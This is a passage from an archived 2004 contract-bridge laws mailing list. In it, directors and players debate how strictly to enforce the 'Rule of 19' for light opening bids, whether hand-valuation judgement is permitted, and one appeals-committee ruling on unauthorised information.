you to play 10-12, are they? Just play some other range and you'll have circumvented that particular problem. Why don't you play 11-13. Then you can still open the occasional 10. And what about this: your opponents might know it, but your partner will certainly know it - and be counting. > -- Herman DE WAEL Antwerpen Belgium http://users.skynet.be/hermandw/index.html From blml@wellsborocomputing.com Sun Jan 4 11:25:43 2004 From: blml@wellsborocomputing.com (Brian Meadows) Date: Sun, 04 Jan 2004 06:25:43 -0500 Subject: [blml] 2004 ABF Alerting Regulations In-Reply-To: <3FF7D7B4.4030001@hdw.be> References: <2lhyV3C45W9$EwpV@blakjak.demon.co.uk> <5.2.0.9.0.20040102075541.01f820e0@pop.starpower.net> <2lhyV3C45W9$EwpV@blakjak.demon.co.uk> <5.2.0.9.0.20040102165718.009efe90@pop.starpower.net> <3FF68D15.1090501@hdw.be> <8d6dvvg09fnbise2ccjriqtqd8crm51d0o@4ax.com> <17aSiNBXE49$EwpZ@blakjak.demon.co.uk> <3FF7D7B4.4030001@hdw.be> Message-ID: On Sun, 04 Jan 2004 10:07:00 +0100, Herman De Wael wrote: >And those directors were right. > Not according to DWS, if you read his reply. He states that the EBU considers judgement to be part of the game. >> >> >> In that case, all I can tell you that there were TDs around who >> ruled otherwise. On every occasion (at least six, probably nearer >> ten) that an opponent complained about my having upgraded a 4333 >> 11 count to a (Precision) 1D opener, the TD just looked at my >> hand, asked me whether I would always open it, I said yes, >> because I valued it as worth a rule of 19 opener, and that was >> enough for me to be told that I mustn't have an agreement to open >> one of a suit on that hand because it contravened the rule of 19. >> Whether that meant that the TD just disagreed with my judgement >> that the hand was good enough to upgrade, I don't know. >> > >No, the Director correctly ruled that you were playing a system under >which certain hands that did not conform to the Ro19 were openeable. > In other words, contrary to DWS's statement, the rule was being applied strictly. >The rule of 19 is a simple rule: If even one hand, not corresponding >to it, is openeable within the system, then that system is illegal (or >classed differently). What's so terribly wrong with a rule like that? The fact that judgement is part of the game. Otherwise we may as well all turn into Walter the Walrus. "I had X HCPs, partner, therefore I had to bid Y". >It's enforceable, it's easy, and the players can understand it if they >want. Precisely the kind of rules the proponents of simple rules want. >But like many of us, those proponents prefer other agendas. > And as Eric has pointed out, it's also got very little to do with playing bridge. If judgement is to be banned on one range of NT opener, then it should be banned on them all. If a couple of extra tens are worth an extra HCP to a 12-14 NT opener, then it's plainly ludicrous to say they're not worth the same if your NT opener happens to be 10-12. >> >>> You are not allowed an agreement to play less than Ro19 at L3, but >>>that is the same as saying that you are not allowed 9-11 in the ACBL. >> >> >> If those TDs were applying the rule incorrectly, then I'm glad to >> hear it. No, I didn't have the confidence to appeal the decisions >> in those days. With hindsight, I wish I had. >> > >They were not applying the rule incorrectly. Well, it seems you should dispute that one with DWS. Either you're allowed judgement (in the EBU) or you aren't. If experienced TDs can't agree on the rule, what chance have the players got? >You were honest enough to >admit that you would always consider opening those hands. Which means >the opening is systemic, and illegal. Well, there was no mention of the system being illegal. The question was whether or not I was allowed to treat an 11 HCP 4333 shape as being worth 12 HCP if it had good fillers. I was simply told that I had to apply the rule of 19 strictly to my 1 of a suit openers. Does that sound like the sort of penalty you'd expect for playing an illegal system? >The main problem occurs with people who won't admit to "always" >opening the hand they just opened with. They are liars and cheats and >I prefer to be able to rule against them without calling them liars >and cheats. > And I would prefer that the decisions you get didn't depend on which TD happened to be called. You've seen DWS state that the rule of 19 was applied in the EBU in a way which allowed for judgement. Now you're telling me the TDs who (obviously) didn't agree with DWS were correct anyway. One of you has to be wrong. Brian. From blml@wellsborocomputing.com Sun Jan 4 11:44:42 2004 From: blml@wellsborocomputing.com (Brian Meadows) Date: Sun, 04 Jan 2004 06:44:42 -0500 Subject: [blml] 2004 ABF Alerting Regulations In-Reply-To: <3FF7D63A.5030607@hdw.be> References: <2lhyV3C45W9$EwpV@blakjak.demon.co.uk> <5.2.0.9.0.20040102075541.01f820e0@pop.starpower.net> <2lhyV3C45W9$EwpV@blakjak.demon.co.uk> <5.2.0.9.0.20040102165718.009efe90@pop.starpower.net> <3FF68D15.1090501@hdw.be> <8d6dvvg09fnbise2ccjriqtqd8crm51d0o@4ax.com> <17aSiNBXE49$EwpZ@blakjak.demon.co.uk> <3FF7D63A.5030607@hdw.be> Message-ID: On Sun, 04 Jan 2004 10:00:42 +0100, Herman De Wael wrote: >OK, and that brings us to the next question: What do we do with a >player who opens 1S on Axxxx Kx Qxx Jxx (10+8 < 19)? > >There are 2 options : >-you ask him if he's ever done this before, and he'll tell you he >hasn't. You'll tell him never to do it again. He'll do it again when >he next has a similar hand. You'll have achieved nothing. >-you tell him you consider this opening systemic (he did it, didn't >he?) and that this system is forbidden. You award him Av-. Next time >he'll count to 18. You have achieved what your superiors (those wise >enough to want to eradicate light openings) wanted you to do. > >I prefer the second option, which does indeed come down to an >ACBL-like ban on certain natural openings. Herman, I am genuinely curious. If you really consider that the majority of bridge players are dishonest, as appears to be the case from your first option, whatever motivates you to continue doing the TD's job? Maybe you think it's just those players who use light openers who'll lie to you? Brian. -- Software development and computer consulting Brian Meadows Tel: 570-724-5172 Wellsboro Computing Services, Inc. Fax: 413-480-2709 RR#5, Box 5A, Wellsboro PA 16901 ICQ: 1981272 http://www.wellsborocomputing.com From blml@wellsborocomputing.com Sun Jan 4 11:55:37 2004 From: blml@wellsborocomputing.com (Brian Meadows) Date: Sun, 04 Jan 2004 06:55:37 -0500 Subject: [blml] 2004 ABF Alerting Regulations In-Reply-To: <3FF7D63A.5030607@hdw.be> References: <2lhyV3C45W9$EwpV@blakjak.demon.co.uk> <5.2.0.9.0.20040102075541.01f820e0@pop.starpower.net> <2lhyV3C45W9$EwpV@blakjak.demon.co.uk> <5.2.0.9.0.20040102165718.009efe90@pop.starpower.net> <3FF68D15.1090501@hdw.be> <8d6dvvg09fnbise2ccjriqtqd8crm51d0o@4ax.com> <17aSiNBXE49$EwpZ@blakjak.demon.co.uk> <3FF7D63A.5030607@hdw.be> Message-ID: <86vfvv4gsha8va4gi7ojs0s1rabreref31@4ax.com> On Sun, 04 Jan 2004 10:00:42 +0100, Herman De Wael wrote: > >OK, and that brings us to the next question: What do we do with a >player who opens 1S on Axxxx Kx Qxx Jxx (10+8 < 19)? > Which is a loaded question, given the hand you specify. Just to make sure that folks who want to agree with you appreciate the full implications of what they're saying, how about making the hand AJ1098 KJ109 10987 void. (9+9 < 19). Now you can ask what you do with a player who opens 1S on it. Remember, you're the one who wants to apply the rule strictly.... Brian. -- Software development and computer consulting Brian Meadows Tel: 570-724-5172 Wellsboro Computing Services, Inc. Fax: 413-480-2709 RR#5, Box 5A, Wellsboro PA 16901 ICQ: 1981272 http://www.wellsborocomputing.com From cyaxares@lineone.net Sun Jan 4 12:15:06 2004 From: cyaxares@lineone.net (Grattan Endicott) Date: Sun, 4 Jan 2004 12:15:06 -0000 Subject: [blml] A Synod of Cooks Message-ID: <008501c3d2bc$917b3000$6f2ee150@endicott> Grattan Endicott References: <2lhyV3C45W9$EwpV@blakjak.demon.co.uk> <5.2.0.9.0.20040102075541.01f820e0@pop.starpower.net> <2lhyV3C45W9$EwpV@blakjak.demon.co.uk> <5.2.0.9.0.20040102165718.009efe90@pop.starpower.net> <3FF68D15.1090501@hdw.be> <8d6dvvg09fnbise2ccjriqtqd8crm51d0o@4ax.com> <17aSiNBXE49$EwpZ@blakjak.demon.co.uk> <3FF7D7B4.4030001@hdw.be> Message-ID: <3FF84380.8050301@hdw.be> Brian Meadows wrote: > On Sun, 04 Jan 2004 10:07:00 +0100, Herman De Wael wrote: > > >>And those directors were right. >> > > > Not according to DWS, if you read his reply. He states that the > EBU considers judgement to be part of the game. > So do I, but I do not conclude from that that a regulation which does not include judgment should per force be illegal. > >>> >>>In that case, all I can tell you that there were TDs around who >>>ruled otherwise. On every occasion (at least six, probably nearer >>>ten) that an opponent complained about my having upgraded a 4333 >>>11 count to a (Precision) 1D opener, the TD just looked at my >>>hand, asked me whether I would always open it, I said yes, >>>because I valued it as worth a rule of 19 opener, and that was >>>enough for me to be told that I mustn't have an agreement to open >>>one of a suit on that hand because it contravened the rule of 19. >>>Whether that meant that the TD just disagreed with my judgement >>>that the hand was good enough to upgrade, I don't know. >>> >> >>No, the Director correctly ruled that you were playing a system under >>which certain hands that did not conform to the Ro19 were openeable. >> > > > In other words, contrary to DWS's statement, the rule was being > applied strictly. > When did DWS say that it wasn't, or shouldn't? You drew the conclusion from David's statements that some other EBU director got it wrong. I can draw 2 different conclusions from the apparent discrepancy between David's statements and the actions of some other TD: -David got it wrong (incredible, but possible); -the 2 statements are only apparently contradictory. > >>The rule of 19 is a simple rule: If even one hand, not corresponding >>to it, is openeable within the system, then that system is illegal (or >>classed differently). What's so terribly wrong with a rule like that? > > > The fact that judgement is part of the game. Otherwise we may as > well all turn into Walter the Walrus. "I had X HCPs, partner, > therefore I had to bid Y". > Don't you see that this is a totally different issue? You are allowed to base your system on whatever you want. Call them BMpoints for all I care. But you are not allowed to play a system in which you open on less than 19 Ro19Points. Let me put it another way, Brian. The WBF has decided that it wants to ban light openings. You, Brian, are charged with the writing of the regulation that enforces this ban. I presume that you will want to define "light hands", hands which you are not allowed to open systematically. Please tell me how you are going to define "light hands". > >>It's enforceable, it's easy, and the players can understand it if they >>want. Precisely the kind of rules the proponents of simple rules want. >>But like many of us, those proponents prefer other agendas. >> > > > And as Eric has pointed out, it's also got very little to do with > playing bridge. If judgement is to be banned on one range of NT > opener, then it should be banned on them all. If a couple of > extra tens are worth an extra HCP to a 12-14 NT opener, then it's > plainly ludicrous to say they're not worth the same if your NT > opener happens to be 10-12. > So the regulation is ludicrous? OK. I agree. I, as player, don't see why we should have a regulation banning weak openings. But we do. And if I, as TD, have to enforce such a regulation, then please write the regulation such that it becomes enforceable. > >>>> You are not allowed an agreement to play less than Ro19 at L3, but >>>>that is the same as saying that you are not allowed 9-11 in the ACBL. >>> >>> >>>If those TDs were applying the rule incorrectly, then I'm glad to >>>hear it. No, I didn't have the confidence to appeal the decisions >>>in those days. With hindsight, I wish I had. >>> >> >>They were not applying the rule incorrectly. > > > Well, it seems you should dispute that one with DWS. Either > you're allowed judgement (in the EBU) or you aren't. If > experienced TDs can't agree on the rule, what chance have the > players got? > Well, I don't care about the EBU. I know about the VBL and BBF. And my colleagues here are as strict on the rule of 18 as I am (which is why we have a rule of 18 BTW). > >>You were honest enough to >>admit that you would always consider opening those hands. Which means >>the opening is systemic, and illegal. > > > Well, there was no mention of the system being illegal. The > question was whether or not I was allowed to treat an 11 HCP 4333 > shape as being worth 12 HCP if it had good fillers. I was simply > told that I had to apply the rule of 19 strictly to my 1 of a > suit openers. Does that sound like the sort of penalty you'd > expect for playing an illegal system? > Yes. Av- > >>The main problem occurs with people who won't admit to "always" >>opening the hand they just opened with. They are liars and cheats and >>I prefer to be able to rule against them without calling them liars >>and cheats. >> > > > And I would prefer that the decisions you get didn't depend on > which TD happened to be called. You've seen DWS state that the > rule of 19 was applied in the EBU in a way which allowed for > judgement. Now you're telling me the TDs who (obviously) didn't > agree with DWS were correct anyway. One of you has to be wrong. > I have not seen DWS say that the TD in question got it wrong. > > Brian. -- Herman DE WAEL Antwerpen Belgium http://users.skynet.be/hermandw/index.html From hermandw@hdw.be Sun Jan 4 16:51:12 2004 From: hermandw@hdw.be (Herman De Wael) Date: Sun, 04 Jan 2004 17:51:12 +0100 Subject: [blml] 2004 ABF Alerting Regulations In-Reply-To: References: <2lhyV3C45W9$EwpV@blakjak.demon.co.uk> <5.2.0.9.0.20040102075541.01f820e0@pop.starpower.net> <2lhyV3C45W9$EwpV@blakjak.demon.co.uk> <5.2.0.9.0.20040102165718.009efe90@pop.starpower.net> <3FF68D15.1090501@hdw.be> <8d6dvvg09fnbise2ccjriqtqd8crm51d0o@4ax.com> <17aSiNBXE49$EwpZ@blakjak.demon.co.uk> <3FF7D63A.5030607@hdw.be> Message-ID: <3FF84480.3030309@hdw.be> Brian Meadows wrote: > On Sun, 04 Jan 2004 10:00:42 +0100, Herman De Wael wrote: > > >>OK, and that brings us to the next question: What do we do with a >>player who opens 1S on Axxxx Kx Qxx Jxx (10+8 < 19)? >> >>There are 2 options : >>-you ask him if he's ever done this before, and he'll tell you he >>hasn't. You'll tell him never to do it again. He'll do it again when >>he next has a similar hand. You'll have achieved nothing. >>-you tell him you consider this opening systemic (he did it, didn't >>he?) and that this system is forbidden. You award him Av-. Next time >>he'll count to 18. You have achieved what your superiors (those wise >>enough to want to eradicate light openings) wanted you to do. >> >>I prefer the second option, which does indeed come down to an >>ACBL-like ban on certain natural openings. > > > Herman, I am genuinely curious. If you really consider that the > majority of bridge players are dishonest, as appears to be the > case from your first option, whatever motivates you to continue > doing the TD's job? > Rest assured, Brian, I have a very high opinion about the honesty of bridge players. Perhaps too high, as I have recently noticed. But nothing is to be gained if we simply follow what people tell us. If a player honestly tells me that he would always open a particular hand, and I rule against him on that basis alone, what reason does he have for speaking the truth the next time? I prefer my ruling to be based on other facts. If someone opens a very light hand third, non vul, with lots of tens, I don't ask him if he would do the same again the next time. I simply tell him that I believe he would. > Maybe you think it's just those players who use light openers > who'll lie to you? > Indeed I had noticed (back in the days when the Ro19 was hot in Belgium) that it was always the same players who told me they had never opened that light before. > > Brian. > -- Herman DE WAEL Antwerpen Belgium http://users.skynet.be/hermandw/index.html From hermandw@hdw.be Sun Jan 4 16:56:30 2004 From: hermandw@hdw.be (Herman De Wael) Date: Sun, 04 Jan 2004 17:56:30 +0100 Subject: [blml] 2004 ABF Alerting Regulations In-Reply-To: <86vfvv4gsha8va4gi7ojs0s1rabreref31@4ax.com> References: <2lhyV3C45W9$EwpV@blakjak.demon.co.uk> <5.2.0.9.0.20040102075541.01f820e0@pop.starpower.net> <2lhyV3C45W9$EwpV@blakjak.demon.co.uk> <5.2.0.9.0.20040102165718.009efe90@pop.starpower.net> <3FF68D15.1090501@hdw.be> <8d6dvvg09fnbise2ccjriqtqd8crm51d0o@4ax.com> <17aSiNBXE49$EwpZ@blakjak.demon.co.uk> <3FF7D63A.5030607@hdw.be> <86vfvv4gsha8va4gi7ojs0s1rabreref31@4ax.com> Message-ID: <3FF845BE.3000008@hdw.be> I have no problem with that one: Brian Meadows wrote: > On Sun, 04 Jan 2004 10:00:42 +0100, Herman De Wael wrote: > > >>OK, and that brings us to the next question: What do we do with a >>player who opens 1S on Axxxx Kx Qxx Jxx (10+8 < 19)? >> > > > Which is a loaded question, given the hand you specify. > > Just to make sure that folks who want to agree with you > appreciate the full implications of what they're saying, how > about making the hand > > AJ1098 KJ109 10987 void. > > (9+9 < 19). > > Now you can ask what you do with a player who opens 1S on it. > Remember, you're the one who wants to apply the rule strictly.... > > Av-. (hey, I've never said the Ro19 was a good rule) The problem with your counter-example is that you want to show the world something I already know - this regulation stinks. But the people who would agree on my first hand and not on this second one should realize that a line has to be drawn somewhere. If you want to draw the line between that first hand and this one - how do you propose doing it? Oh, I'm sure we can find a way, count extras for tens and voids - but that would simply render the regulation more complex, and we would still be left with people who would refuse to let their own "judgment" be superceded by regulation. > Brian. > -- Herman DE WAEL Antwerpen Belgium http://users.skynet.be/hermandw/index.html From blml@wellsborocomputing.com Sun Jan 4 17:19:27 2004 From: blml@wellsborocomputing.com (Brian Meadows) Date: Sun, 04 Jan 2004 12:19:27 -0500 Subject: [blml] 2004 ABF Alerting Regulations In-Reply-To: <3FF84480.3030309@hdw.be> References: <5.2.0.9.0.20040102075541.01f820e0@pop.starpower.net> <2lhyV3C45W9$EwpV@blakjak.demon.co.uk> <5.2.0.9.0.20040102165718.009efe90@pop.starpower.net> <3FF68D15.1090501@hdw.be> <8d6dvvg09fnbise2ccjriqtqd8crm51d0o@4ax.com> <17aSiNBXE49$EwpZ@blakjak.demon.co.uk> <3FF7D63A.5030607@hdw.be> <3FF84480.3030309@hdw.be> Message-ID: On Sun, 04 Jan 2004 17:51:12 +0100, Herman De Wael wrote: > >But nothing is to be gained if we simply follow what people tell us. >If a player honestly tells me that he would always open a particular >hand, and I rule against him on that basis alone, what reason does he >have for speaking the truth the next time? A very simple and very good reason - that he considers it cheating to do otherwise. Next question. >I prefer my ruling to be >based on other facts. If someone opens a very light hand third, non >vul, with lots of tens, I don't ask him if he would do the same again >the next time. I simply tell him that I believe he would. > I don't have any problem with that, *if* the rule of 19 is to be strictly applied. > >Indeed I had noticed (back in the days when the Ro19 was hot in >Belgium) that it was always the same players who told me they had >never opened that light before. > You presumably didn't have occasion to question any of the others. OK, the answer is simple. Firstly, I think if you asked them whether you had opened that light before, you were asking the wrong question. What you actually should have asked is whether they would always open the specific hand on which you were called. If they say "No", then maybe it's time to start recording a few hands? Brian. From blml@wellsborocomputing.com Sun Jan 4 17:39:50 2004 From: blml@wellsborocomputing.com (Brian Meadows) Date: Sun, 04 Jan 2004 12:39:50 -0500 Subject: [blml] 2004 ABF Alerting Regulations In-Reply-To: <3FF84380.8050301@hdw.be> References: <5.2.0.9.0.20040102075541.01f820e0@pop.starpower.net> <2lhyV3C45W9$EwpV@blakjak.demon.co.uk> <5.2.0.9.0.20040102165718.009efe90@pop.starpower.net> <3FF68D15.1090501@hdw.be> <8d6dvvg09fnbise2ccjriqtqd8crm51d0o@4ax.com> <17aSiNBXE49$EwpZ@blakjak.demon.co.uk> <3FF7D7B4.4030001@hdw.be> <3FF84380.8050301@hdw.be> Message-ID: On Sun, 04 Jan 2004 17:46:56 +0100, Herman De Wael wrote: >> >> Not according to DWS, if you read his reply. He states that the >> EBU considers judgement to be part of the game. >> > >So do I, but I do not conclude from that that a regulation which does >not include judgment should per force be illegal. > Interesting. If the EBU states that players are allowed to use judgement in upgrading hands, and some of their TDs say that players are not, I would conclude that those TDs are applying a rule which does not exist. >> >> In other words, contrary to DWS's statement, the rule was being >> applied strictly. >> > >When did DWS say that it wasn't, or shouldn't? In his message where he stated that the EBU allows a player to use judgement. >You drew the conclusion from David's statements that some other EBU >director got it wrong. Yes. The ones who told me that I was not allowed to use judgement. >I can draw 2 different conclusions from the apparent discrepancy >between David's statements and the actions of some other TD: >-David got it wrong (incredible, but possible); Agreed. However, since my response was to his explicit statement of EBU policy, I don't think it would have got things very far if I'd questioned whether DWS actually knew what he was talking about. >-the 2 statements are only apparently contradictory. > Where you dream up this use of "apparently" from, I have no idea. I also have no idea what you mean by it. > >The WBF has decided that it wants to ban light openings. > >You, Brian, are charged with the writing of the regulation that >enforces this ban. >I presume that you will want to define "light hands", hands which you >are not allowed to open systematically. >Please tell me how you are going to define "light hands". > I have this vague recollection that the phrase "Within a king of average strength" appears somewhere? > >So the regulation is ludicrous? OK. I agree. Good. >I, as player, don't see why we should have a regulation banning weak >openings. But we do. And if I, as TD, have to enforce such a >regulation, then please write the regulation such that it becomes >enforceable. > The rule of 19 is a perfectly logical way to implement such a ruling if it must be implemented. What I am arguing against, and I suspect Eric was too, is its *discriminatory* application to light openings - or in the case of the ACBL, one specific light opening. But you ask what I would write if I were my job to write the regulation? The answer is very simple. My resignation. I wouldn't want my name to be associated with the job. Let someone else spend their time writing ludicrous regulations. If the WBF wants to impose that regulation, let them write it themselves. > >I have not seen DWS say that the TD in question got it wrong. > No, he hasn't. What he has said is that the EBU's position was in direct contradiction to that of the TD in question. That's near enough to getting it wrong for me. Brian. -- Software development and computer consulting Brian Meadows Tel: 570-724-5172 Wellsboro Computing Services, Inc. Fax: 413-480-2709 RR#5, Box 5A, Wellsboro PA 16901 ICQ: 1981272 http://www.wellsborocomputing.com From blml@blakjak.com Sun Jan 4 19:34:54 2004 From: blml@blakjak.com (David Stevenson) Date: Sun, 4 Jan 2004 19:34:54 +0000 Subject: [blml] 2004 ABF Alerting Regulations In-Reply-To: References: <2lhyV3C45W9$EwpV@blakjak.demon.co.uk> <5.2.0.9.0.20040102075541.01f820e0@pop.starpower.net> <2lhyV3C45W9$EwpV@blakjak.demon.co.uk> <5.2.0.9.0.20040102165718.009efe90@pop.starpower.net> <3FF68D15.1090501@hdw.be> <8d6dvvg09fnbise2ccjriqtqd8crm51d0o@4ax.com> <17aSiNBXE49$EwpZ@blakjak.demon.co.uk> Message-ID: Brian Meadows wrote >On Sun, 4 Jan 2004 02:57:27 +0000, David Stevenson wrote: > >>Brian Meadows wrote >> >>>Certainly I agree that it's simple, so if that's to be the >>>overriding consideration, why not introduce it for all other >>>opening bids? Go back to all one-level openers having to be >>>strictly 'Rule of 19', for example? Why *was* that idea dropped, >>>anyway (at least within the EBU)? Surely it can't have been due >>>to that inconvenient L40 that everyone has permission to >>>disregard? >> >> There never was such a rule. Unlike the ACBL rule to which you refer, >>the EBU accepts that judgement is part of the game. >> > >In that case, all I can tell you that there were TDs around who >ruled otherwise. On every occasion (at least six, probably nearer >ten) that an opponent complained about my having upgraded a 4333 >11 count to a (Precision) 1D opener, the TD just looked at my >hand, asked me whether I would always open it, I said yes, >because I valued it as worth a rule of 19 opener, and that was >enough for me to be told that I mustn't have an agreement to open >one of a suit on that hand because it contravened the rule of 19. >Whether that meant that the TD just disagreed with my judgement >that the hand was good enough to upgrade, I don't know. As I would rule. If you would open all 4333 11-counts one of a suit you are not playing Ro19 by agreement, thus your opening is illegal. That is not the problem, which is one of judgement. That is just you playing a clearly illegal system. The judgement problem comes when you are playing a 10-12 1NT at L3 in the EBU, or at GCC in the ACBL,a nd oyu open 1NT on QJTx Kx KT9x T9x In the EBU there is no problem: this is not evidence of a concealed partnership understanding, or an illegal partnership understanding: this is an example of a player using judgement, which is not illegal. It is alleged that in the ACBL this would automatically be ruled illegal, since no judgement is permitted. But if you open all 11-count 4333s with a Precision 1D you are not playing Ro19 so your system is illegal: that is nothing to do with judgement. >And no, I'm not talking about club games. One of the instances >was in the opening rounds of the Gold Cup. It was at Maidenhead, >which means it had to be 1986-88, and I don't know who the TD >was. The other occasions would have been county tournaments or >local league matches. > >> You are not allowed an agreement to play less than Ro19 at L3, but >>that is the same as saying that you are not allowed 9-11 in the ACBL. > >If those TDs were applying the rule incorrectly, then I'm glad to >hear it. No, I didn't have the confidence to appeal the decisions >in those days. With hindsight, I wish I had. They were applying it correctly and you were playing an illegal system. -- David Stevenson Wirral, Merseyside, UK Special services: Digital Postcard http://blakjak.com/postcard.htm Currency Converter http://blakjak.com/curr_con.htm Magical Translator http://blakjak.com/translt.htm From ereppert@rochester.rr.com Sun Jan 4 19:38:53 2004 From: ereppert@rochester.rr.com (Ed Reppert) Date: Sun, 4 Jan 2004 14:38:53 -0500 Subject: [blml] 2004 ABF Alerting Regulations In-Reply-To: <3FF7D7B4.4030001@hdw.be> Message-ID: On Sunday, Jan 4, 2004, at 04:07 US/Eastern, Herman De Wael wrote: > They are liars and cheats and I prefer to be able to rule against them > without calling them liars and cheats. If they really are liars and cheats you should have no problem saying so. Yet you do. Why is that? From twm@cix.co.uk Sun Jan 4 21:12:00 2004 From: twm@cix.co.uk (Tim West-Meads) Date: Sun, 4 Jan 2004 21:12 +0000 (GMT Standard Time) Subject: [blml] 2004 ABF Alerting Regulations In-Reply-To: Message-ID: > As I would rule. If you would open all 4333 11-counts one of a suit > you are not playing Ro19 by agreement, thus your opening is illegal. The rule in the orange book says "12.2.1 The minimum agreement for opening 1-of-a-suit is Rule of 19, or 11 HCP; except..." Is one not allowed, under the "or 11HCP" clause, to agree to open all flat 11 counts? Tim From wayne.burrows@xtra.co.nz Sun Jan 4 21:31:35 2004 From: wayne.burrows@xtra.co.nz (Wayne Burrows) Date: Mon, 5 Jan 2004 10:31:35 +1300 Subject: [blml] 2004 ABF Alerting Regulations In-Reply-To: <3FF84380.8050301@hdw.be> Message-ID: <000101c3d30a$21d77d50$602f37d2@Desktop> > -----Original Message----- > From: Herman De Wael [mailto:hermandw@hdw.be] > Sent: Monday, 5 January 2004 4:47 a.m. > To: blml > Subject: Re: [blml] 2004 ABF Alerting Regulations > > > Brian Meadows wrote: > > > On Sun, 04 Jan 2004 10:07:00 +0100, Herman De Wael wrote: > > > > > >>And those directors were right. > >> > > > > > > Not according to DWS, if you read his reply. He states that the > > EBU considers judgement to be part of the game. > > > > So do I, but I do not conclude from that that a regulation which does > not include judgment should per force be illegal. I think the real problem with this regulation is that it falls so close to the standard practice. Taking a hand from elsewhere in this thread ... "AJ1098 KJ109 10987 - " Many players would open this or would want to be able to open it - at least in third seat. Regulating that it is illegal to do so is patently absurd. Wayne From richard.hills@immi.gov.au Sun Jan 4 22:33:43 2004 From: richard.hills@immi.gov.au (richard.hills@immi.gov.au) Date: Mon, 5 Jan 2004 08:33:43 +1000 Subject: [blml] Waking the dragon Message-ID: Richard James Hills: >>>Multiple (Round-Robin) Teams >>>Board no 15 >>>Dealer South >>>N/S vulnerable >>> >>>The bidding has gone: >>> >>>WEST NORTH EAST SOUTH >>>--- --- --- Pass >>>Pass 1C(1) Pass 1H >>>Double 2H Pass Pass >>>? >>> >>>(1) Alerted. Likely showing an opening hand with >>> no five-card suit outside of clubs. >>> Example: Could be minimum opening values with >>> 4-4-4-1 shape and a singleton club. >>> >>>You, West, hold: >>> >>>AQ543 >>>T >>>K952 >>>J83 >>> >>>What call do you make? >>>What other calls do you consider making? Grattan Endicott: >>+=3D+ Check partner's pulse. If he is alive I pass. ~G~ +=3D+ David Stevenson: >Is this a memory test? > >OK, I'll fall for it: I think I was the Chairman of the AC! Richard James Hills: Yes, this was appeal 9 in the Welsh Bridge Union 2002 Appeals casebook. East hesitated over 2H, and West successfully balanced with 2S. The TD (Peter Hand) adjusted the score back to 2H +140, ruling that: "Law 16A2 - having chosen to double the first time pass would be a logical alternative." The appeals committee - David Stevenson (chair), Tim Rees, Jim Luck - overruled the TD, with the novel argument that: "Authorised information gives the same information so 2S bid is permissible." I was a panellist for the casebook, and took issue with the appeals committee's reasoning. As panellist, I wrote: "I disagree with the logic of the Appeals Committee. East's hesitation gave West UI that N/S were not underbidders. I have seen many Biltcliffe Coups in my time; thanks to East's pause, West knew that the downside risk of pushing the opponents into a making game was unlikely to exist. "Biltcliffe Coup: The opponents stop in a partscore, you balance, the opponents now bid to game, you double and the opponents make. (Coined by David Bird in his excellent Monks of St Titus series - named after the eponymous Brother Biltcliffe, who performed the coup three times in a single match.)" Best wishes RJH -----------------------------------------------------------------------= --------------- Important Warning: If you have received this email in error, please advise the sender and delete the message and attachments immediately. =A0= This email, including attachments, may contain confidential, legally privile= ged and/or copyright information, the unauthorised use of which is prohibit= ed. Any views expressed in this email are those of the individual sender, except where the sender expressly, and with authority, states them to b= e the view of the Department of Immigration and Multicultural and Indigen= ous Affairs (DIMIA). =A0DIMIA respects your privacy and has obligations und= er the Privacy Act 1988 (see www.immi.gov.au). -----------------------------------------------------------------------= ---------------= From wayne.burrows@xtra.co.nz Sun Jan 4 21:39:44 2004 From: wayne.burrows@xtra.co.nz (Wayne Burrows) Date: Mon, 5 Jan 2004 10:39:44 +1300 Subject: [blml] 2004 ABF Alerting Regulations In-Reply-To: <3FF845BE.3000008@hdw.be> Message-ID: <000201c3d30b$46f750a0$602f37d2@Desktop> > -----Original Message----- > From: Herman De Wael [mailto:hermandw@hdw.be] > Sent: Monday, 5 January 2004 4:57 a.m. > To: blml > Subject: Re: [blml] 2004 ABF Alerting Regulations > > > I have no problem with that one: > > Brian Meadows wrote: > > > On Sun, 04 Jan 2004 10:00:42 +0100, Herman De Wael wrote: > > > > > >>OK, and that brings us to the next question: What do we do with a > >>player who opens 1S on Axxxx Kx Qxx Jxx (10+8 < 19)? > >> > > > > > > Which is a loaded question, given the hand you specify. > > > > Just to make sure that folks who want to agree with you > > appreciate the full implications of what they're saying, how > > about making the hand > > > > AJ1098 KJ109 10987 void. > > > > (9+9 < 19). > > > > Now you can ask what you do with a player who opens 1S on it. > > Remember, you're the one who wants to apply the rule strictly.... > > > > > > Av-. > > (hey, I've never said the Ro19 was a good rule) > > The problem with your counter-example is that you want to show the > world something I already know - this regulation stinks. > > But the people who would agree on my first hand and not on > this second > one should realize that a line has to be drawn somewhere. If you want > to draw the line between that first hand and this one - how do you > propose doing it? > > Oh, I'm sure we can find a way, count extras for tens and voids - but > that would simply render the regulation more complex, and we would > still be left with people who would refuse to let their own > "judgment" > be superceded by regulation. And that is how it ought to be. Bridge is after all a game of judgement. If my opponents want to exercise their bad judgement I am all for that. And if they happen to exercise superior judgement good on them. Wayne From richard.hills@immi.gov.au Sun Jan 4 22:58:54 2004 From: richard.hills@immi.gov.au (richard.hills@immi.gov.au) Date: Mon, 5 Jan 2004 08:58:54 +1000 Subject: [blml] Divine Intervention Message-ID: The other Herman asked: [snip] >What wrong could it do for the abbot to >explain ("10-11") when asked what 3Sp shows? [snip] >But my main concern is "what can possibly be >the harm in telling more than minimum about >the agreements you may or may not have with >partner"? The wretched Richard replied: Because 10-11 is the Brother Xavier-Abbot agreement. 10-11 is not the Brother Herman- Abbot agreement, so the Abbot would be giving MI. If telling "more than the minimum" means telling "more than agreed", then such telling is always MI. Best wishes RJH -----------------------------------------------------------------------= --------------- Important Warning: If you have received this email in error, please advise the sender and delete the message and attachments immediately. =A0= This email, including attachments, may contain confidential, legally privile= ged and/or copyright information, the unauthorised use of which is prohibit= ed. Any views expressed in this email are those of the individual sender, except where the sender expressly, and with authority, states them to b= e the view of the Department of Immigration and Multicultural and Indigen= ous Affairs (DIMIA). =A0DIMIA respects your privacy and has obligations und= er the Privacy Act 1988 (see www.immi.gov.au). -----------------------------------------------------------------------= ---------------= From richard.hills@immi.gov.au Sun Jan 4 23:17:16 2004 From: richard.hills@immi.gov.au (richard.hills@immi.gov.au) Date: Mon, 5 Jan 2004 09:17:16 +1000 Subject: [blml] Divine Intervention Message-ID: Richard James Hills: >>Their error was in failing to remember Immanuel >>Kant's distinction between the phenomenal world >>(partnership agreements as they appear to us) >>and the noumenal world (partnership agreements >>as they are in themselves). Tim West-Meads >The redouble does not seem to be an error (in the >context of simple Acol). Sure it is a disaster >when one's partner isn't playing simple Acol but >such is 